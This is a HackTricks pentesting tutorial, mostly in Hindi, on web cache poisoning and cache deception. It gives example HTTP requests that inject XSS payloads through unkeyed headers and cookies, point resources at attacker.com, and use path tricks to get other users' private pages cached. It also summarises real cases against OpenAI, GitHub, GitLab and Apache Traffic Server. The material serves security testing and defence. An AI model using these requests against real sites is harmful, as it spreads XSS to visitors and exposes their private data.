hacktricks/pentesting-web/cache-deception

Cache Poisoning and Cache Deception

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!
• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

{% endhint %}

Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}

The difference

वेब कैश पॉइज़निंग और वेब कैश धोखाधड़ी के बीच क्या अंतर है?

• वेब कैश पॉइज़निंग में, हमलावर एप्लिकेशन को कैश में कुछ दुर्भावनापूर्ण सामग्री संग्रहीत करने के लिए मजबूर करता है, और यह सामग्री अन्य एप्लिकेशन उपयोगकर्ताओं को कैश से प्रदान की जाती है।
• वेब कैश धोखाधड़ी में, हमलावर एप्लिकेशन को किसी अन्य उपयोगकर्ता की कुछ संवेदनशील सामग्री कैश में संग्रहीत करने के लिए मजबूर करता है, और फिर हमलावर इस सामग्री को कैश से पुनः प्राप्त करता है।

Cache Poisoning

कैश पॉइज़निंग का उद्देश्य क्लाइंट-साइड कैश को इस तरह से हेरफेर करना है कि क्लाइंट अप्रत्याशित, आंशिक, या हमलावर के नियंत्रण में संसाधनों को लोड करने के लिए मजबूर हों। प्रभाव की सीमा प्रभावित पृष्ठ की लोकप्रियता पर निर्भर करती है, क्योंकि दूषित प्रतिक्रिया केवल उन उपयोगकर्ताओं को प्रदान की जाती है जो कैश संदूषण के दौरान पृष्ठ पर जाते हैं।

कैश पॉइज़निंग हमले का कार्यान्वयन कई चरणों में होता है:

1. अनकीड इनपुट की पहचान: ये ऐसे पैरामीटर हैं जो, हालांकि कैश में अनुरोध के लिए आवश्यक नहीं हैं, सर्वर द्वारा लौटाई गई प्रतिक्रिया को बदल सकते हैं। इन इनपुट की पहचान करना महत्वपूर्ण है क्योंकि इन्हें कैश को हेरफेर करने के लिए उपयोग किया जा सकता है।
2. अनकीड इनपुट का शोषण: अनकीड इनपुट की पहचान करने के बाद, अगला कदम यह पता लगाना है कि इन पैरामीटरों का दुरुपयोग कैसे किया जाए ताकि सर्वर की प्रतिक्रिया को इस तरह से संशोधित किया जा सके कि हमलावर को लाभ हो।
3. सुनिश्चित करना कि दूषित प्रतिक्रिया कैश में संग्रहीत है: अंतिम चरण यह सुनिश्चित करना है कि हेरफेर की गई प्रतिक्रिया कैश में संग्रहीत है। इस तरह, प्रभावित पृष्ठ को एक्सेस करने वाला कोई भी उपयोगकर्ता जब कैश संदूषित हो, तो दूषित प्रतिक्रिया प्राप्त करेगा।

Discovery: Check HTTP headers

आमतौर पर, जब एक प्रतिक्रिया कैश में संग्रहीत होती है तो एक हेडर ऐसा संकेत देता है, आप इस पोस्ट में देख सकते हैं कि आपको किन हेडरों पर ध्यान देना चाहिए: HTTP Cache headers.

Discovery: Caching error codes

यदि आप सोच रहे हैं कि प्रतिक्रिया कैश में संग्रहीत हो रही है, तो आप खराब हेडर के साथ अनुरोध भेजने की कोशिश कर सकते हैं, जिसे स्थिति कोड 400 के साथ प्रतिक्रिया दी जानी चाहिए। फिर सामान्य रूप से अनुरोध तक पहुँचने की कोशिश करें और यदि प्रतिक्रिया 400 स्थिति कोड है, तो आप जानते हैं कि यह संवेदनशील है (और आप यहां तक कि DoS भी कर सकते हैं)।

आप अधिक विकल्प पा सकते हैं:

{% content-ref url="cache-poisoning-to-dos.md" %} cache-poisoning-to-dos.md {% endcontent-ref %}

हालांकि, ध्यान दें कि कभी-कभी इस प्रकार के स्थिति कोड कैश नहीं होते इसलिए यह परीक्षण विश्वसनीय नहीं हो सकता।

Discovery: Identify and evaluate unkeyed inputs

आप Param Miner का उपयोग कर सकते हैं पैरामीटर और हेडर को ब्रूट-फोर्स करने के लिए जो पृष्ठ की प्रतिक्रिया को बदल सकते हैं। उदाहरण के लिए, एक पृष्ठ X-Forwarded-For हेडर का उपयोग कर सकता है यह संकेत देने के लिए कि क्लाइंट को वहां से स्क्रिप्ट लोड करना है:

<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>

बैक-एंड सर्वर से हानिकारक प्रतिक्रिया प्राप्त करें

पैरामीटर/हेडर की पहचान करने के बाद, यह जांचें कि इसे सैनिटाइज कैसे किया जा रहा है और यह कहाँ प्रतिबिंबित हो रहा है या हेडर से प्रतिक्रिया को प्रभावित कर रहा है। क्या आप इसे किसी भी तरह से दुरुपयोग कर सकते हैं (एक XSS प्रदर्शन करें या एक JS कोड लोड करें जिसे आप नियंत्रित करते हैं? एक DoS प्रदर्शन करें?...)

प्रतिक्रिया को कैश करें

एक बार जब आप उस पृष्ठ की पहचान कर लेते हैं जिसे दुरुपयोग किया जा सकता है, किस पैरामीटर/हेडर का उपयोग करना है और कैसे इसका दुरुपयोग करना है, तो आपको पृष्ठ को कैश करना होगा। जिस संसाधन को आप कैश में प्राप्त करने की कोशिश कर रहे हैं, उसके आधार पर इसमें कुछ समय लग सकता है, आपको कई सेकंड तक प्रयास करने की आवश्यकता हो सकती है।
प्रतिक्रिया में X-Cache हेडर बहुत उपयोगी हो सकता है क्योंकि इसमें miss का मान हो सकता है जब अनुरोध कैश नहीं किया गया था और मान hit हो सकता है जब इसे कैश किया गया है।
Cache-Control हेडर भी जानने के लिए दिलचस्प है कि क्या कोई संसाधन कैश किया जा रहा है और अगली बार कब संसाधन फिर से कैश किया जाएगा: Cache-Control: public, max-age=1800
एक और दिलचस्प हेडर Vary है। यह हेडर अक्सर अतिरिक्त हेडर्स को संकेतित करने के लिए उपयोग किया जाता है जो कैश कुंजी के भाग के रूप में माना जाता है, भले ही वे सामान्यतः अनकुंजीकृत हों। इसलिए, यदि उपयोगकर्ता उस लक्ष्य के शिकार की User-Agent जानता है, तो वह उस विशेष User-Agent का उपयोग करने वाले उपयोगकर्ताओं के लिए कैश को विषाक्त कर सकता है।
कैश से संबंधित एक और हेडर Age है। यह उन सेकंडों में समय को परिभाषित करता है जब वस्तु प्रॉक्सी कैश में रही है।

अनुरोध को कैश करते समय, आप जिन हेडर्स का उपयोग करते हैं, उनके साथ सावधान रहें क्योंकि उनमें से कुछ अनपेक्षित रूप से कीड के रूप में उपयोग किए जा सकते हैं और शिकार को उसी हेडर का उपयोग करने की आवश्यकता होगी। हमेशा विभिन्न ब्राउज़रों के साथ कैश पॉइज़निंग का परीक्षण करें यह जांचने के लिए कि क्या यह काम कर रहा है।

शोषण के उदाहरण

सबसे आसान उदाहरण

एक हेडर जैसे X-Forwarded-For को प्रतिक्रिया में असैनिटाइज्ड रूप से प्रतिबिंबित किया जा रहा है।
आप एक बुनियादी XSS पेलोड भेज सकते हैं और कैश को विषाक्त कर सकते हैं ताकि जो कोई भी पृष्ठ तक पहुँचता है वह XSS हो जाएगा:

GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

Note that this will poison a request to /en?region=uk not to /en

Cache poisoning to DoS

{% content-ref url="cache-poisoning-to-dos.md" %} cache-poisoning-to-dos.md {% endcontent-ref %}

Using web cache poisoning to exploit cookie-handling vulnerabilities

कुकीज़ को भी एक पृष्ठ की प्रतिक्रिया पर परिलक्षित किया जा सकता है। यदि आप इसका दुरुपयोग करके उदाहरण के लिए XSS उत्पन्न कर सकते हैं, तो आप उन कई क्लाइंट्स में XSS का लाभ उठा सकते हैं जो दुर्भावनापूर्ण कैश प्रतिक्रिया को लोड करते हैं।

GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"

ध्यान दें कि यदि कमजोर कुकी का उपयोग उपयोगकर्ताओं द्वारा बहुत अधिक किया जाता है, तो नियमित अनुरोध कैश को साफ कर देंगे।

पथ ट्रैवर्सल के साथ कैश जहर देना API कुंजी चुराने के लिए

यह लेख बताता है कि कैसे एक URL जैसे https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 के साथ OpenAI API कुंजी चुराना संभव था क्योंकि /share/* से मेल खाने वाली कोई भी चीज़ कैश की जाएगी बिना Cloudflare द्वारा URL को सामान्य किए, जो तब किया गया जब अनुरोध वेब सर्वर तक पहुंचा।

वेब कैश जहर देने की कमजोरियों का लाभ उठाने के लिए कई हेडर का उपयोग करना

कभी-कभी आपको कैश का दुरुपयोग करने के लिए कई अनकीद इनपुट्स का लाभ उठाने की आवश्यकता होगी। उदाहरण के लिए, यदि आप X-Forwarded-Host को एक डोमेन पर सेट करते हैं जो आपके द्वारा नियंत्रित है और X-Forwarded-Scheme को http पर सेट करते हैं, तो आप एक ओपन रीडायरेक्ट पा सकते हैं। यदि सर्वर सभी HTTP अनुरोधों को HTTPS पर फॉरवर्ड कर रहा है और रीडायरेक्ट के लिए डोमेन नाम के रूप में X-Forwarded-Scheme हेडर का उपयोग कर रहा है। आप रीडायरेक्ट द्वारा पृष्ठ को इंगित करने के स्थान को नियंत्रित कर सकते हैं।

GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http

सीमित Vary हेडर के साथ शोषण

यदि आप पाते हैं कि X-Host हेडर JS संसाधन लोड करने के लिए डोमेन नाम के रूप में उपयोग किया जा रहा है लेकिन प्रतिक्रिया में Vary हेडर User-Agent को इंगित कर रहा है। तो, आपको पीड़ित के User-Agent को निकालने और उस उपयोगकर्ता एजेंट का उपयोग करके कैश को विषाक्त करने का एक तरीका खोजना होगा:

GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com

Fat Get

URL में अनुरोध और शरीर में अनुरोध के साथ GET अनुरोध भेजें। यदि वेब सर्वर शरीर से एक का उपयोग करता है लेकिन कैश सर्वर URL से एक को कैश करता है, तो कोई भी उस URL को एक्सेस करने पर वास्तव में शरीर से पैरामीटर का उपयोग करेगा। जैसे कि vuln जेम्स केटल ने Github वेबसाइट पर पाया:

GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

report=innocent-victim

There it a portswigger lab about this: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get

Parameter Cloacking

उदाहरण के लिए, parameters को ruby सर्वरों में ; अक्षर का उपयोग करके & के बजाय अलग करना संभव है। इसका उपयोग बिना कुंजी वाले पैरामीटर मानों को कुंजी वाले में डालने और उनका दुरुपयोग करने के लिए किया जा सकता है।

Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking

Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling

यहां जानें कि कैसे Cache Poisoning हमले HTTP Request Smuggling का दुरुपयोग करके किए जाते हैं।

Automated testing for Web Cache Poisoning

Web Cache Vulnerability Scanner का उपयोग वेब कैश पॉइज़निंग के लिए स्वचालित रूप से परीक्षण करने के लिए किया जा सकता है। यह कई विभिन्न तकनीकों का समर्थन करता है और अत्यधिक अनुकूलन योग्य है।

Example usage: wcvs -u example.com

Trickest का उपयोग करें ताकि आप दुनिया के सबसे उन्नत सामुदायिक उपकरणों द्वारा संचालित workflows को आसानी से बना और स्वचालित कर सकें।
आज ही एक्सेस प्राप्त करें:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}

Vulnerable Examples

Apache Traffic Server (CVE-2021-27577)

ATS ने URL के अंदर के अंश को बिना हटाए आगे बढ़ाया और केवल होस्ट, पथ और क्वेरी का उपयोग करके कैश कुंजी उत्पन्न की (अंश की अनदेखी करते हुए)। इसलिए अनुरोध /#/../?r=javascript:alert(1) को बैकएंड पर /#/../?r=javascript:alert(1) के रूप में भेजा गया और कैश कुंजी में इसका पेलोड नहीं था, केवल होस्ट, पथ और क्वेरी।

GitHub CP-DoS

सामग्री-प्रकार हेडर में एक खराब मान भेजने से 405 कैश्ड प्रतिक्रिया उत्पन्न हुई। कैश कुंजी में कुकी शामिल थी, इसलिए केवल अनधिकृत उपयोगकर्ताओं पर हमला करना संभव था।

GitLab + GCP CP-DoS

GitLab स्थिर सामग्री को स्टोर करने के लिए GCP बकेट का उपयोग करता है। GCP Buckets header x-http-method-override का समर्थन करते हैं। इसलिए यह संभव था कि हेडर x-http-method-override: HEAD भेजा जाए और कैश को खाली प्रतिक्रिया शरीर लौटाने के लिए विषाक्त किया जाए। यह PURGE विधि का भी समर्थन कर सकता था।

Rack Middleware (Ruby on Rails)

Ruby on Rails अनुप्रयोगों में, Rack मिडलवेयर का अक्सर उपयोग किया जाता है। Rack कोड का उद्देश्य x-forwarded-scheme हेडर के मान को लेना और इसे अनुरोध की योजना के रूप में सेट करना है। जब हेडर x-forwarded-scheme: http भेजा जाता है, तो उसी स्थान पर 301 रीडायरेक्ट होता है, जो उस संसाधन के लिए सेवा से इनकार (DoS) का कारण बन सकता है। इसके अतिरिक्त, अनुप्रयोग X-forwarded-host हेडर को मान्यता दे सकता है और उपयोगकर्ताओं को निर्दिष्ट होस्ट पर रीडायरेक्ट कर सकता है। यह व्यवहार हमलावर के सर्वर से JavaScript फ़ाइलों को लोड करने का कारण बन सकता है, जो सुरक्षा जोखिम पैदा करता है।

403 and Storage Buckets

Cloudflare ने पहले 403 प्रतिक्रियाओं को कैश किया था। गलत प्राधिकरण हेडर के साथ S3 या Azure Storage Blobs तक पहुंचने का प्रयास करने पर 403 प्रतिक्रिया उत्पन्न होती थी जो कैश हो जाती थी। हालांकि Cloudflare ने 403 प्रतिक्रियाओं को कैश करना बंद कर दिया है, यह व्यवहार अन्य प्रॉक्सी सेवाओं में अभी भी मौजूद हो सकता है।

Injecting Keyed Parameters

कैश अक्सर कैश कुंजी में विशिष्ट GET पैरामीटर शामिल करते हैं। उदाहरण के लिए, Fastly का Varnish अनुरोधों में size पैरामीटर को कैश करता है। हालाँकि, यदि पैरामीटर का URL-कोडित संस्करण (जैसे, siz%65) भी एक गलत मान के साथ भेजा गया, तो कैश कुंजी सही size पैरामीटर का उपयोग करके बनाई जाएगी। फिर भी, बैकएंड URL-कोडित पैरामीटर में मान को संसाधित करेगा। दूसरे size पैरामीटर को URL-कोडिंग करने से इसे कैश द्वारा छोड़ दिया गया लेकिन बैकएंड द्वारा उपयोग किया गया। इस पैरामीटर को 0 का मान असाइन करने से कैशेबल 400 Bad Request त्रुटि उत्पन्न हुई।

User Agent Rules

कुछ डेवलपर्स उच्च-ट्रैफ़िक उपकरणों जैसे FFUF या Nuclei के अनुरोधों को ब्लॉक करते हैं ताकि सर्वर लोड को प्रबंधित किया जा सके। विडंबना यह है कि यह दृष्टिकोण कैश पॉइज़निंग और DoS जैसी कमजोरियों को पेश कर सकता है।

Illegal Header Fields

RFC7230 हेडर नामों में स्वीकार्य वर्णों को निर्दिष्ट करता है। हेडर में निर्दिष्ट tchar रेंज के बाहर के वर्णों को शामिल करने वाले हेडर को आदर्श रूप से 400 Bad Request प्रतिक्रिया उत्पन्न करनी चाहिए। व्यवहार में, सर्वर हमेशा इस मानक का पालन नहीं करते हैं। एक उल्लेखनीय उदाहरण Akamai है, जो अवैध वर्णों वाले हेडर को आगे बढ़ाता है और किसी भी 400 त्रुटि को कैश करता है, जब तक कि cache-control हेडर मौजूद नहीं है। एक exploitable पैटर्न की पहचान की गई थी जहां अवैध वर्ण जैसे \ वाला हेडर भेजने से कैशेबल 400 Bad Request त्रुटि उत्पन्न होती है।

Finding new headers

https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6

Cache Deception

Cache Deception का लक्ष्य ग्राहकों को ऐसे संसाधनों को लोड करने के लिए मजबूर करना है जो कैश द्वारा उनके संवेदनशील जानकारी के साथ सहेजे जाने वाले हैं।

सबसे पहले यह ध्यान दें कि extensions जैसे .css, .js, .png आदि आमतौर पर कैश में सहेजे जाने के लिए कॉन्फ़िगर किए जाते हैं। इसलिए, यदि आप www.example.com/profile.php/nonexistent.js तक पहुंचते हैं, तो कैश संभवतः प्रतिक्रिया को सहेज लेगा क्योंकि यह .js extension को देखता है। लेकिन, यदि application www.example.com/profile.php में संग्रहीत संवेदनशील उपयोगकर्ता सामग्री के साथ replaying कर रहा है, तो आप अन्य उपयोगकर्ताओं से उन सामग्रियों को चुरा सकते हैं।

परीक्षण करने के लिए अन्य चीजें:

• www.example.com/profile.php/.js
• www.example.com/profile.php/.css
• www.example.com/profile.php/test.js
• www.example.com/profile.php/../test.js
• www.example.com/profile.php/%2e%2e/test.js
• कम ज्ञात एक्सटेंशन का उपयोग करें जैसे .avif

एक और बहुत स्पष्ट उदाहरण इस लेख में पाया जा सकता है: https://hackerone.com/reports/593712.
उदाहरण में, यह समझाया गया है कि यदि आप http://www.example.com/home.php/non-existent.css जैसी गैर-मौजूद पृष्ठ को लोड करते हैं, तो http://www.example.com/home.php (उपयोगकर्ता की संवेदनशील जानकारी के साथ) की सामग्री लौटाई जाएगी और कैश सर्वर परिणाम को सहेज लेगा।
फिर, attacker अपने ब्राउज़र में http://www.example.com/home.php/non-existent.css तक पहुंच सकता है और पहले पहुंचने वाले उपयोगकर्ताओं की गोपनीय जानकारी देख सकता है।

ध्यान दें कि cache proxy को फ़ाइलों को extension के आधार पर cache करने के लिए कॉन्फ़िगर किया जाना चाहिए (.css) और सामग्री-प्रकार के आधार पर नहीं। उदाहरण में http://www.example.com/home.php/non-existent.css का text/html सामग्री-प्रकार होगा न कि .css फ़ाइल के लिए अपेक्षित text/css माइम प्रकार।

यहां जानें कि कैसे Cache Deceptions हमले HTTP Request Smuggling का दुरुपयोग करके किए जाते हैं।

Automatic Tools

• toxicache: URLs की एक सूची में वेब कैश पॉइज़निंग कमजोरियों को खोजने और कई इंजेक्शन तकनीकों का परीक्षण करने के लिए Golang स्कैनर।

References

• https://portswigger.net/web-security/web-cache-poisoning
• https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities
• https://hackerone.com/reports/593712
• https://youst.in/posts/cache-poisoning-at-scale/
• https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9
• https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/

Trickest का उपयोग करें ताकि आप दुनिया के सबसे उन्नत सामुदायिक उपकरणों द्वारा संचालित workflows को आसानी से बना और स्वचालित कर सकें।
आज ही एक्सेस प्राप्त करें:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}

{% hint style="success" %} AWS Hacking सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• subscription plans की जांच करें!
• Join the 💬 Discord group या telegram group या follow us on Twitter 🐦 @hacktricks_live.
• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

{% endhint %}